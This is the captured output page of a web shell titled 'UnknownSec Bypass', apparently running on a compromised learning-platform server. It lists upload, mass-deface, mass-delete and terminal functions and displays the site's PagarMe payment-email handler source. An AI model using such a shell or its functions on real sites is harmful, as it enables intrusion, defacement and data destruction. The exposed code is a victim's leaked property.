UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_2188b2b4a43a
/
app
/
Handlers
/
Events
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
SendMailPagarMeTransaction.php
<?php namespace EstudioLMS\Handlers\Events; use EstudioLMS\Events\PagarMeDone; use EstudioLMS\Helpers\ConfigurationsHelper; use Illuminate\Contracts\Mail\Mailer; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Contracts\Queue\ShouldQueue; /** * Class SendMailPagarMeTransaction * @package EstudioLMS\Handlers\Events */ class SendMailPagarMeTransaction { /** * @var Mailer */ private $mailer; /** * @var ConfigurationsHelper */ private $configurationsHelper; /** * Create the event handler. * * @param Mailer $mailer * @param ConfigurationsHelper $configurationsHelper */ public function __construct( Mailer $mailer, ConfigurationsHelper $configurationsHelper ) { $this->mailer = $mailer; $this->configurationsHelper = $configurationsHelper; } /** * Handle the event. * * @param PagarMeDone $event * @return void */ public function handle(PagarMeDone $event) { $this->configurationsHelper->overridesMailConfiguration(); $receiver = $this->configurationsHelper->grabReceiverMailData(); $sender = $this->configurationsHelper->grabSenderMailData(); $data = $event->grabData(); switch ($event->typeMail()) { case 'credit_card': try { $this->mailer ->send('emails.cart.pagarme_email', ['data' => $data, 'typeEmail' => $event->typeMail()], function ($msg) use ($sender, $data) { $msg->subject('Curso contratado com sucesso!'); $msg->to($data['user']['email'], $data['user']['name']); $msg->from($sender['sender_email'], $sender['sender_name']); }); } catch (\Exception $e) { \Log::critical($e->getMessage()); } break; case 'credit_card_refused': try { $this->mailer ->send('emails.cart.pagarme_email', ['data' => $data, 'typeEmail' => $event->typeMail()], function ($msg) use ($sender, $data) { $msg->subject('Problema na contratação do curso!'); $msg->to($data['user']['email'], $data['user']['name']); $msg->from($sender['sender_email'], $sender['sender_name']); }); } catch (\Exception $e) { \Log::critical($e->getMessage()); } break; case 'boleto': try { $this->mailer ->send('emails.cart.pagarme_email', ['data' => $data, 'typeEmail' => $event->typeMail()], function ($msg) use ($sender, $data) { $msg->subject('Curso contratado com sucesso!'); $msg->to($data['user']['email'], $data['user']['name']); $msg->from($sender['sender_email'], $sender['sender_name']); }); } catch (\Exception $e) { \Log::critical($e->getMessage()); } break; case 'boleto_refused': try { $this->mailer ->send('emails.cart.pagarme_email', ['data' => $data, 'typeEmail' => $event->typeMail()], function ($msg) use ($sender, $data) { $msg->subject('Problema na contratação do curso!'); $msg->to($data['user']['email'], $data['user']['name']); $msg->from($sender['sender_email'], $sender['sender_name']); }); } catch (\Exception $e) { \Log::critical($e->getMessage()); } break; } } }
Copyright © 2026 - UnknownSec